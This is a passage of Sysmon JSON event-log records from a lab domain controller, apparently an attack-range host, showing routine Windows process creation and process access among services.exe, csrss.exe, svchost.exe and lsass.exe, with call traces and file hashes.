T4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.148\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\system32\\svchost.exe -k LocalService\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\LOCAL SERVICE\r\nLogonGuid: {90617006-3FD4-5F2D-0000-0020E5030000}\r\nLogonId: 0x3E5\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.148","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\system32\\svchost.exe -k LocalService","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\LOCAL SERVICE","LogonGuid":"{90617006-3FD4-5F2D-0000-0020E5030000}","LogonId":"0x3e5","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1120\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1120","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 